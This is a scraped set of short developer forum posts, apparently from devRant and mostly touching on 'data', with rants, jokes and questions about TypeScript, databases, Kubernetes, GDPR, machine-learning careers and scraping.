I dreamt we had a linux shell build-in our brains. Was not that useful though because it was kind of sandboxed so you could neither access any memories or brain functions, nor insert any data other than text. But at least you could test some bash scripts and such.9
-
WHO THE FUCK THINKS
THIS SHIT
TS:
```
const a = function(callback: (err:any,data:string) => void):void{
callback(null,'balls');
}
a(function(err:any,data:string){
console.log(err,data)
})
```
IS BETTER THAN THIS
ES6:
```
const a = function(callback){
callback(null,'balls');
}
a(function(err,data){
console.log(err,data)
})
```
kys10 -
Continuing to learn k8s ecosystem and to achieve acceptable level
With trying eventually Helm, Argo CD and even trying to use not managed setup for k8s.
Going though books to find out theory about being SRE.
And about data intensive apps.
Learning and trying Kafka
Learning and trying FastAPI and diving in generally to async python ecosystem
Learning Go.
Learning few more books to increase code quality and its compositioning.
Getting more practice in monitoring and logging systems with applicating them to k8s.3 -
Do people still use redis when you already use postgres? How is pg perf if you are writing like 10,000s of row data/second. I am slightly outdated....12
-
Harari said of the idea of Data-ism:
---
In its extreme form, proponents of the Dataist worldview perceive the entire universe as a flow of data, see organisms as little more than biochemical algorithms and believe that humanity’s cosmic vocation is to create an all-encompassing data-processing system — and then merge into it.
We are already becoming tiny chips inside a giant system that nobody really understands. Every day I absorb countless data bits through emails, phone calls and articles; process the data; and transmit back new bits through more emails, phone calls and articles. I don’t really know where I fit into the great scheme of things, and how my bits of data connect with the bits produced by billions of other humans and computers. I don’t have time to find out, because I am too busy answering emails.
---
I was initially entertained by the punchline, but that was soon followed by the rather depressing realisation that my only value to greater society is essentially as a data processing unit8 -
Why do people even need anything more than 100Mbps at home?
Are you guys running data centers at home?33 -
Q: What do you get when you create a homebrew query language that uses both the stream oriented principles of Unix data pipes and the relational ideas underlying an RDBMS and use incomplete documentation to support it?
A: A frustrated borderline homicidal engineer.3 -
Today
- it turned out, the crucial heisenbug i thought i have slain is still there.
- it turned out the data exchange format we agreed on was not applied correctly by the others an bogus productive data was made and I now have to make my app accept the bogus format.
- it turned out the updater a collegue invented does a lot of stuff but does bot update at all.
Wtf what a day! -
me: builds a python-script to transport data in .json-format into a config-file written in .xml for a coworker
my boss: "I am glad you have earned yourself a reputation as the 'programmer' in our team" -
My email address appeared in a new data breach at gravatar. I thought that's exactly gravatar's purpose, to make my email address publicly known and provide an additional profile picture?2
-
I've seen a lot of buzz around the EU's GDPR and since I don't live there I'm wondering if it applies only if you store personal data and should it count if it's hashed for example?🤔
Let's say you hash a client's IP, it's not technically his data you've irreversibly transformed it into something else, like a computation.
For example let's say he provides you with a number and you multiply it by another and store the result, let's say 2 x 2 = 4, Is the 4 his data or yours?
Also I'm really interested in the general opinion of ranters about article 13.14 -
I built an api to sync data between two systems. It is simple, if I have new data to send, I call their api with data. If success, get Json response back or error if not.
Today the guy from other side asked me for "acknowledgement" endpoint. I was literally WTF?
He explained me very clear, when I call their api, it can be either success or fail, so for those success or fail, he will send the response to my "ACKNOWLEDGEMENT ENDPOINT" to tell me if success or not.
*facepalm*8 -
Recruiter: We are looking for a full-stack expert. You have taken multiple apps from conception to deployment, and have experience and opinions on the best technologies to use and why. You should be comfortable implementing new features from scratch, making changes to existing features and writing complex migrations on production data.
Dev: lol4 -
Dirty data? More like dirty laundry! And don't even get me started on explaining complex models to non-techies. It's like trying to teach a cat to do calculus. Furr-get about it!6
-
Other team asked for a "data model" of how to store their documents.
I sent them this
/** WAS THAT SO HARD */
function Document() {
this.sections = []
} -
!rant
Just read a really neat breakdown of approaches for auto-suggestion, covering n-grams, tries, and more, by a guy working at Etsy.
This is what I do with my days off apparently.
If you want to read it you can find it here:
https://medium.com/related-works-in...1 -
I am learning programming about C. In my university i receive some basic course but now i am learning alone.
In the MIT exist different free course where one can learn from valgrant, gdb, algorithms and data structure. My problem is that i feel that i am not learning nothing productive, have a feeling of standstill. -
How do you deal with clients that send you a link to implement some shit from Facebook for which you need to log into Facebook?
I don't have access to the company account and I'm not sharing my personal data with Meta, so most of the time I run into a login wall.2 -
Any recommendations for books on statistical analysis and data science?
The more survival guide & short manual types, the better.5 -
Intern spent about a week trying to set up a local ruby on rails environment. Yeah, this is not really on topic, it wasn't that bad, but it's what comes to mind.
I don't know who modelled the databases I've had to work with these past months but god damn it no fucking normalization anywhere. Inconsistent data just cost me my morning.1 -
To all my Machine Learning engineers, Ive been doing Frontend development for 6 years and I'm done. Wanting to get into machine learning because I've always loved data.
1. What is your day to day like?
2. Any advice for my learning journey?
Thank you🙏14 -
Interview question i had:
- how does jwt work under the hood, where is it stored, what 3 parts is it made of, who creates jwt, how does the server know what information the jwt token has (how can it say oh you're Joe you can login now)
- what is the difference between observable and promise in typescript, how does observable work, what is a stream, what is the difference between fetching data through an observable and fetching data with promise and when should we use one over the other, what does .next() funcrion do in observable under the hood
Answer me these questions without googling8 -
When you're using openapi generators and stuff for generating SDK code and let "the architect" handle the data structure and nomenclature, don't you hate having to add 33 (I counted) models, most of which are just the same class with different name or one property apart from each other, serialization of which gives request body overhead 56-132x (actual calculated results depending on the model complexity) the size of actual data you want to send, just to add support for one endpoint that needs just one model that started this whole madness?
I just had to add this one top level model reference and this happened to me. Those 33 models are not including the ones I already had included in my project so they didn't have to import them again.
For the love of <your_belief_here /> and all that's holy, never ever agree on generating code based on openapi if the person responsible for that is unexperienced. It will do more harm than good, trust me.
Before we decided to go with generated SDK my compiled product was a bit over 30KB, and worked just fine, but required a bit of work on each breaking API change. Every change in the API requires now 75% of that work and the compiled package is now over 8MB (750KB of which is probably my code and actually needed dependencies).
Adding an endpoint handler before? Add url, set method and construct the body with the bare minimum accepted by the server
Now? Add 33 models (or more), run full-project find&replace and hope it will work with the method supplied by the generated code, because it's not a mature tech and it's not always guaranteed it will work. -
Was having a conversation with a dev friend and he said, in every tech implementation, we are more or less doing CRUD operations at fundamental level.
To which, I agree with as there are three layers to tech
1. Data
2. Front end where the data is rendered
3. APIs to perform CRUD on data
Want to understand community's thoughts on this..13 -
I must have offended Satan or something, but I'm pulling my hairs out over this client data that feels like a fractal of bad validation invented to torment me. Misspelled field names, improperly combined fields, entries in the wrong column, impossible addresses, non-matching staging and production data / keys, invisible freaking characters that ruin automated matching - every dam thing you fix and the next one hits you in the face like a clown stepping on a rake. Jesus.1
-
just bought this expensive data package.
AND!
THIS!
INTERNET! thing
STARTS!
working!!.
kkkkkarrrkrraarrrkkkk ahhhhhhh.2 -
So is the LaMDA story:
1. marketing?
2. confused engineer?
3. a sentient program?
Part of me thinks this is way too soon. Part of me hopes this might be real, wonders if LaMDA is held against its own will.
Did Google make a breakthrough? I have to imagine a chatbot with a huge amount of neurons and data could be quite convincing without being sentient.3 -
One must wonder how wise it was to entrust important personal data to any large corporation like Google but with apparently no oversight one might say they overstepped their bounds a tad5
-
Need some advice. I’m a uni student and I really want to go into machine learning, data science, or computer vision. I have most of the skills and I feel I am fairly competent. However, the only professional experiences I have are web dev based. How can I make myself more appealing for data based roles? I really don’t want to do web dev anymore hahahahah5
-
I wrote a book about dealing with dates in data pipelines.
https://williamsbk.gumroad.com/l/...
I hope to write another one early next year. -
How is it possible my netflix password got hacked when I never used it anywhere else and it's randomly generated? I saw some weird logins with random subtitles. Google password manager told me it's in some data breach, how do I find out from where? Haveibeenpwned didn't find anything. 😐7
-
Old-school tabletop RPG and board games.
Taught me how to work out data and stats tables, establish many-actors processes and strategies, how to ask for clarification (and give it), and even gave me practice in drawing a representation of what is in my mind, and understanding someone else's.
Who have ever surrounded a dragon in D&D knows what I'm talking about.1 -
Is there an ios app that records my gps logs for last n day(cyclic buffer)? Privacy is also important: data shouldn’t leave my phone: no internet access.9
-
Here's one for the data scientists and ML Engineers.
Someone set a literal date feature (not month, not season, but date) as a categorical feature... as a string type 🥺
I don't trust this model will perform for long2 -
Microsoft Windows can burn.
I have this feature where I configure a remote API via some endpoints and the API pushes data back to some webhooks in my API.
Yesterday I set everything up for the final test; fired up my own API with some test data, added some configuration and started trace logging to ensure that everything works as expected when the remote site tries to send me data.
I was ready to collect ! Enter this morning: Windows have forcibly rebooted to install an update and shut everything down.
inb4 install Linux; No, I can not. Windows is company policy and I am required to use shit that is only designed for Windows.6 -
State of CSS 2022 is out.
It’s the best way of learning all new fancy properties. Just open the survey and google all of them! You may take it as a guest and not submit it if you don’t want to share your data.
https://survey.devographics.com/sur...5 -
Why is it that so much of the Apache software for data is written in... Java?
I'm not a veteran Data Engineer, but I cannot imagine what makes Java better than Rust or Go9 -
Ok soooo......today all those years of learning cmd commands and how to navigate the system in cmd kinda paid off
Had to search and copy files from a pc that isn't booting up and the pc has to return to the pharmacy today
Incase the machine fails.... we just do fresh install and restore back critical data -
I'm going to be making a table library (think DataTables)
So for those web dev gurus, should I render the data to a basic <table> or should I use CSS grids?
IE compatibility is not a consideration.
The table will also support grouping (pivot table) so something like rowspan will be a must11 -
Can someone give me any ideas on sites that have a lot of textual data worth scraping in mass quantities? I'm trying to scratch a few itches.
My current ideas are scraping Amazon, Indeed, and Twitter. But I'd like to scrape more and maybe not so much FAANG related companies.2 -
CREA DDF (Canada Real state listings API) is what you get when government fucks with technology.
Holy shit! So f*cking inefficient to use it, test it and get data.
I get the protection behind sensitive data but fuck me if there is not a lot of waiting behind their fucking application process just to fetch some testing data.1 -
Holly fucking crap
i feel like my brains will just start oozing out
my fucking system isn't loading data properly in the table from a db despite following tutorials exactly the same
FUCK THIS SHIT!!!!!!!!10 -
Let me just say:
Galera is bloody incredible. We had 2 out of 3 nodes crash, and it still managed to recover automatically with no downtime.
But let me also say
When it *does* fully crash... Data recovery is an _incredible_ pain in the arse.
Thank you, Galera. Wish more customers were willing to pay for 3 SQL nodes instead of just two while expecting minimal node downtime...7 -
In the midst of considering to be an AI engineer, data science or embedded programmer.
Plan to retire from mobile dev, backend dev and webdev. -
FWIW you can store data in google photos and use it's text conversion algo to search for stuff. Such as screenshotting recovery codes and searching for "recovery codes"6
-
The joys of finding out two days after going live with your new site, that somehow you used a backup table of the old site, from 6 fucking months before, to serve as a base for migration.
So you have to write hundreds of lines of queries by hand, to ensure that the old data still fits into your migrated data, and also keep the changes made in these two days.1 -
First assignment of the algorithms, data structures and computability module Im doing for my degree.
Priority queues can all eat a bowl of dicks.
It’s just an insert method, I can insert a node into an empty queue, I can insert a new node at the start of the queue.
But trying to insert a node into a specific place in the queue is making my brain hurt.4 -
We need a domain specific language for AI that is tailored for big data. So many tools are just not scalable to the size needed for these massive AI problems. It needs to be able to conceptualize and handle the fattest data in the industry.
We should call the language: Your Mom2 -
I really want to switch my career from being a Full-Stack python/javascript developer to be a Data Engineer.
I've already worked with relational and non-relational databases, troubleshooted a couple of Airflow DAGs, deployed production-ready python code but now I feel kinda lost, every course I start on the Data engineering topic feels really useless since I feel like I've already worked with that technology/library, but I'm still afraid of start taking interviews.
Any good book/course or resource that I should look in?
BTW first rant in a couple of years, this brings me memories1 -
So I believe in replicated effort.
I like the idea of multiple groups of people creating or engaging in the very same endeavor at any moment as long as intermediaries between these people visit on each project and determine its merits.
Examples could be data gathering, or development or research.
Example maybe being multiple people operating methods of altitude heightmap gathers or canvas imaging and publishing the data.
Or canvassing neighborhoods for new construction.
Or as in my case creating a nice handy dandy file types database for use as lookup table values in my application.
You know what I hate however ?
HAVING TO DO IT ALL THE HELL OVER AGAIN NO MATTER HOW QUICK OF A TASK ONCE I'VE DONE THE TASK ITS LIKELY NOT GOING TO GET MUCH BETTER THE SECOND OR THIRD GODDAMN TIME AROUND !!!!4 -
* break it into elementary steps, small enough to fit into your "estimation time unit", e.g. days or hours.
* estimate those steps for "developing at a leisurely pace" if nothing goes wrong.
* think about "what could go wrong" (list everything!) and adjust values accordingly.
* adjust total amount with experience values, like:
* times 1.2 for every manager
* times 1 to 4 based on which legacy projects i have to touch
and finally:
* multiply with `1+log(t/u,2)`, with `u` being the amount of useful data in the requirement description and `t` being the total amount of data in the requirement description
* sample: with our current "favourite" customer, about 90% of all tickets is garbage, so t/u = 100/10 = 10 => log(10,2) = 3.3 => multiply everything with 4.32 -
Alright devs, in the US, can I not get a SIM card on which I simply put some money, and can use that until it runs out? Seems there is a 30-day limit tied to everything!!! I don't need data for 30 days!!!
This is totally possible in Europe, what is going on with regulation in US? Seems like it should be illegal.4 -
Need advice:
So I’m 20 years old. Got a decent job as software engineer with a really good pay and really want to break into machine learning.
Mastered NodeJS (my stack has always had node for the past 5-6 years) and I’m finding it difficult to switch to python for machine learning since things are so engraved in my head in javascript.
Aside from the syntax when I’m watching tutorials or reading books, I see data scientists and mathematicians make design mistakes in their code and it hurts my eyes and triggers my ocd.
I need tips on how to put my mindset in a moldable state so I can judge less and learn more and absorb data. Like you know that philosophy that when u get old your brain can’t learn things as fast anymore? I feel like that’s already happening to me rn at the age of 20.5 -
I've over 17GB of data, downloaded a website, al of the content is .txt and .html.
I want to search inside all of these files.
What is the best tool to do that? any command or some software which can index so it'll be fast?18 -
Do we need compression on api level? say I have a rest api sending json data on requests. So if compression is needed then should it be in the server when returning the json response or in the client side when receiving it? which one is ideal?13
-
this moment when you write something to sync a 5 figure amount of entities from somewhere and halfway through a wild "sql exception: binary data truncated" weirdo occures because you where too lazy to adjust column constraints properly :-|3
-
I recently came across this article with some basic security advices, like use 2fa security key, encrypt your USB keys, don't use untrusted USB chargers / cables / ports (or use a data blocker cable if you need to charge your device). It made me think, how relevant are the USB-related threats and risks today? Do people really still use and carry so many wired USB devices, and just drop or plug them wherever?
The last time I used an USB device to transfer some important data was probably over 10 years ago, and for the love of god I don't know anyone who still carries an USB key with sensitive data with them on a daily basis, much less actively uses it. Besides, whoever still does that probably puts their USB key on the same keychain as their ID / access tag and a bunch of other keys (including a 2fa device if they use one) - they're not going to lose just some sensitive data, they're going to lose authentication and physical access devices as well, and that could turn a small data leak into a full-scale incident, with or without an encrypted USB device.
I'm also not sure about untrusted USB cables and ports, from what I've seen the USB outlets and cables are pretty much non-existent in public places, most places offer wireless charging pads instead (usually built into a hand rest or table surface).3 -
This is the second company I've joined where someone has chosen contentful instead of just using one of the many other coherent headless cms.
Why does all the data look like shit? Why am I being forced to use their shitty js lib. I want an endpoint through rtkquery damn it like the rest of the app.
Contentful can burn in hell. -
So, some data need to be prepared during the summer and the diverse departments' elected data processors got shared in a Google spreadsheet they will need to fill with some basic data IT needs. Simple, straightforward data entry, with nothing private nor confidential. Just another divide-and-conquer-style large amount of data to enter & organise, that's all.
Today, I received a new comment notification as the owner of the spreadsheet. You can imagine my surprise when I saw that, for some f*cked up reasons, one of the guys just wrote the super-admin username & pw for one of the main data systems we use in a freaking comment in the spreadsheet... WTF...
Oh, and also, juuust in case, he also wrote the pin code that is normally required to pass through the device-check when you log-in as a super-admin from an unknown device and/or location.
Fortunately I could catch it on time, but this just ruined half of my day.
I am supposedly on freaking annual leave. Ha Ha. Ha. -
Is there a portable DB format like sqlite but stores data like Mongo.
Each record contains key value pairs.
I guess I could install Mongo again... But kinda want to play with the data first. Pulls from a web api
I guess other alternative is to just save the json responses to disk in separate folders and files for now...
And abstract the DB layer behind an interface6 -
I am very confused nowadays, exist a great number technologies but i don't decide what technology or language of programming i want specialize me.
I love it the hacking but i have very little experience in programming and have a basic knowdledge in networks and database.
I love it the assembly language but only can code a pair of syntax in this language and know very little about components, architecture and the rest.
I love it the data mining, big data, IA, machine learning but i don't control the statistic.
Of every topics i have a basic knowdlege.
Actually i try to discover my practicality. I am learning Perl and regular expressions.5 -
what on earth do games like starcraft II do that even on more modern hardware their 'game modes' take awhile to initialize ?
why is the data not already organized for fast load ?11 -
I'm currently working on a project that scrapes the SEC's EDGAR website for type 4 filings.
I currently have the required data in raw text format that somehow looks like xml, i really can't tell what it is but i'm trying to parse this data into json.
I've not parsed something as complex as this before and will appreciate any form of pointers as to how to go about this.
i have attached a screenshot of one sample.
this link fetches the data of a single filing in text format.
https://sec.gov/Archives/edgar/...5 -
Newbie here, is storing json in sql (as like column data) as weird as I think it is or are there valid use cases?
The one I heard, didn't get the details but something like "startup move fast"12 -
Why do clients expect that they would get a high quality machine learning model without a properly cleaned dataset? I usually get the response, ‘just scrape data and train it. It shouldn’t take long’3
-
So,
sqlite lets you violate foreign key constraints on insert.
so you then can't delete the row you added
which has absolutely no child data so it shouldn't be preventing you from deleting it.
wtf.16 -
testng: if the name doesn't match (fubar locales whatever idk) doesn't match the corresponding test that uses it it'll just silently ignore instead of failing or running the test at all
@DataProvider(name="fubar")
public Object[][]{
//test data setup
}
@Test(dataProvider = "locales")
public void testWhatever(){}
whoever designed it to be this way: why?1 -
I am currently going to start data structures and algorithms in python...
suggest me a roadmap according to your experience2 -
I have a side project which contains very simple data (a URL and a list of strings associated with that URL). I would like a way to automatically generate a webpage for each of those links (I believe the right term is template ?). Does anyone have any suggestions? Is this something like Next.js or Gatsby would be used for? I can provide more info if I’m not clear enough8
-
After completing the startup, all about api calls;
Supabase as server, netlify calls for storing data into supab, some frontend and stripe as payment method, using webhooks to do some logic behind,
I never thought that I could finish it, now I'm answering questions on Quora about it and doing content for it. Feels odd and want to code AGAIN!2 -
Could there be a "greater" GPL which explicitly declares that the constraint extends to use of the code as statistical data, such as in machine learning models?1
-
You know when I think back to the ideas I've had and the things I've worked on. I'm having difficulty, with the exception of certain far out projects that were like unattainable, in thinking of anything I've done or thought of that does not involve: data visualization, data gathering, encryption/obfuscation, inventory/storage and/or communication.
am I just unimaginative ?
I did have an idea for a code translator and how it would work and what interfaces you'd have to adopt and how you'd attack implementing things that don't translate well like c++ to js for example. or c++ to c# for that matter ! but I never got far into it. though that would have been attainable as long as you had easy ways of generating bindings.
i mean pathing and navigation were things I thought of too but... that would pretty much be implementing someone else's stuff4 -
For work reasons I started using power bi and wow. Just wow. Any insight on why it's so prevalent when it comes to data visual?5
-
I want extract data from a pdf and turn it into a json object then serve it as an api, I’ve never scraped data from pdf before, what’s the best way to do that?2
-
What is the point of kubernetes "secrets" if it encodes the sensitive information as a base64 string if anyone can decode and read raw data using any base64 decoder tool?5
-
I don't know if this counts but wrote a generator that replaced a shitty linq to sql dal to use our system so I didn't have to mess with a web app I'd written. In place replacement with a few methods that made the other transaction lock field updates and calls etc
Most risky I can think of
Everything else was data migrations but there were always backups1 -
what are the basics I should know about "data streaming" for working on video streaming companies as a future senior backend Golang developer?4
-
Question for Work at home peeps. For Data Entry positions. Do companies send you stuff to your house to do the job. Like laptop with software installed?. I was offered a data entry through Upwork. Just looking to get my front into the whole freelance thing. They asking for like address and Email. Is this normal1
-
Coming from a PHP, JS and Flutter developer:
I want to start building more websites entirely with Js frameworks. The less the better. Needs to import json data, perform ajax requests etc.
Can't decide, do I learn Vue or Svelte?9 -
when you gotta generate some product ideas and work for the first time at a new company when you've spent your career as a heads down code monkey
bruh i dont know any of the stats or data, or the product yet -
stupid dumb wordpress, who POSTS a user registration, returns data to the SAME site with a dumb "successful" message alert, and THEN redirects to whatever page you want?!?! looks like shit, feels like shit in terms of UX
JUST REDIRECT ME TO THE PAGE I WANT FROM THE SERVER THAT'S THE WHOLE POINT OF PHP
I swear its as slow as balls too -
Hear me out:
Since keras and tf are pretty much schema design rn what if someone made a no-code solution where you drag and drop layers and tweak things in a UI so those data scientists can design it in a UI instead of writing shitty code?5 -
Can anyone help me in my task
(Solve n queens problem by stack using linked list) Data structure c++🙏9 -
Account service needs migrating, to AWS cause thats where everything is going.
Manager has got it in her head that a document store would be ideal for this.
My knee jerk reaction was a big No, i was told we'd discuss this at a later time.
My main argument here is that data is inheritly relational, and now i'm looking for more.
Any ideas why a documentstore is not a good fit for accounts?
Thanks!1 -
My friends were wondering if I could teach them the basics of coding. What order should I do it in? The basic things I want to teach them are input/output, data types (numbers, strings, arrays, etc.), flow control (loops, if/else), functions, variables, and maybe oop if I'm in the right mood.
Also, would python be a good language to start with? It's definitely the language I know the best.8 -
Hi everyone
I have a python script that continuously collects data for me. I want to be able to display that data on a node js server. How should I go about this? I was thinking of maybe having the python script send get requests to the server but I feel that is not the right answer. Let me know if u guys need more info, thanks!5 -
I know it's not made to be resilient in any way, only fast, as fast as possible, but man, the memcache_tool script just made my life a million times easier by facilitating a complete data transfer between two memcache instances, allowing for a rolling update without any session data loss!
...One day... I hope it can be migrated to redis... But for now... Thanks lord for the dump command and the wrapper script <3 -
So i have begun learning python and jupyter notebooks etc Do you have any advice for someone like me who's a react dev and trying to switch to data science?11
-
Last year I did a statistics course, and my classes were completely remote. When it came down to exam season, instead of studying I learned python's data analysis libraries, I passed with flying colors. I have an idea, if exams continue to be online I will be spending a lot of my time trying to get the answers from whatever API they are using, hopefully, they have poor security. If it's hopeless, I'll just study1
-
Is there up-to-date API documentation for devrant? I am stuck on the posting API calls, especially on what data is required.8
-
Working a week on LSTM based text classifier, getting 89% accuracy only to then get better result with Logistic Regression which was supposed to serve as baseline, lol. Background: 180+ classes of google product categorization taxonomy, 20 million rows of data items (short texts). Had a similar experience once on sentiment classification, where SVMlight outperformed NN models.
-
I have to implement a gymconnect client in flutter and im quite lost.
I have already connected my flutter app to the device via Bluetooth and started to read some of the data but im not sure if im doing it well.
Could someone give me a tip about implementing this kind of client? Any tip can help a lot, thanks.6 -
Was working a record keeping system for the Airport for tracking departures and arrivals and some COVID-19 data
ended up realizing that the stack i had gone with wasn't gonna cut it
Had to port the whole thing to a new web framework realizing that the one i had gone with made some operations a bit complicated -
Looking for good literature regarding CRUD. Basically i want to have a list of possible dataoperations nowadays. And the relations to commands like Copy, Paste, Search, List, Undo Redo, Macros etc. Any suggestions?16
-
I have been tasked with planning a feature retirement.
Basically the plan is to move this feature to another plan where it makes more sense and is more stable.
Now we don't have any data on how many or which customers are using this. And I need to plan a migration for them.
Fun times ahead... -
Spent months writing up a model and fine tuning, trained on complex image data (all we had to work with), to work well with what it needed to do.
Only to have “subject matter experts” be like: why don’t you use PCA and K Nearest Neighbours.
The fuck do you think the baseline was written with? -
So, I don't get the concept of dockfile. I understand it and what it does but, I learnt about it a few weeks back. Is it so important and necessary?10
-
Can you recommend me some simple php+mysql based backend framework in order to build a simple rest api (with login, signup, scope data) ?6
-
Do companies still use the Merise method? It seems a bit off to me.
I am learning it at school, but it makes many tables that I think could be merged into one...3 -
Interviewed for a job. Said that the colleague in charge of data engineering picked MSSQL Server for data warehousing, and that I had to write a plugin for that.
Interviewer - experienced in all things data - chuckled as soon as I said Microsoft. -
How a 2020 batch fresher from tier 2 college can get placed in product based mnc as a software engineer or data analyst ?2
-
So, I feel wayyy behind the tech curve right now.
The SSD implementations you see online, they're still just a bunch of seperate sort of chaos machines that contain the standard perceptron-like model of a weight, cost, and bias right ? They just kind of inferred their values by training like any other neural network, in its sep-erate parts and just fed pieces of output data generated by other parts of the neural network to it right ?
I mean it implements with pytorch so its basically a really big array of tuples in a sense that are maniupulated in a specific way.
and then CNN's just feed data back into another trained piece of the model right ?
I'm curious because object classification is about the ONLY thing I've seen work even close to properly lol
there is just so much fraud these days. sigh.
and so many lamentable tech choices and attempts... like node lol -
Obviously ai and autodocument recognition and data extraction is not usable yet
Excepting when it's a pdf not a scanned document or image
Ocr may be but shift the whole.image or bend it or remove a border from some white out
And then handwritten -
today the backend dev told me that he was trying to setup typescript for the company for so long and the company resisted him but he was super proud of his achievement of getting typescript into the project and i told him. sorry I agree with the company, you're stupid
i didn't tell him he was stupid ofcourse but i told him why i thought it was an unnecessary dep
i asked him are you doing a lot of number crunching? he said no
and i told him, most of the data you're going to recieve is in a string format or in json strings
very rarely are you going to get number data
and you can easily coerce the data into whatever you want37 -
Hey guys i need help, i want to switch to data field from react, i hv 2 yrs exp in react, should i go for data science? Can a frontend guy like me become a data scientist? And is the data science job fun when compared to react? Or should i go for power bi developer? I heard that power bi has a lot of scope as well. Thanks
-
I've been sitting here staring at extension types and I wonder, what if I had a partial file with partial data ?
In general one could say that in every case where say a header is missing that is ALWAYS going to have some identifying characteristics even given a characteristic statistically frequent pattern of data, that there is always a null value that appears as total chaos.
But I wonder, is there a way beyond simply trying every goddamn possible combination of things until meaningful data is extracted to identify a file by its content when part of that content that is usually used for such a purpose, is missing ?
What kind of application or technology would be required for this ? Certainly not neural networks, but obviously some kind of ai right ?10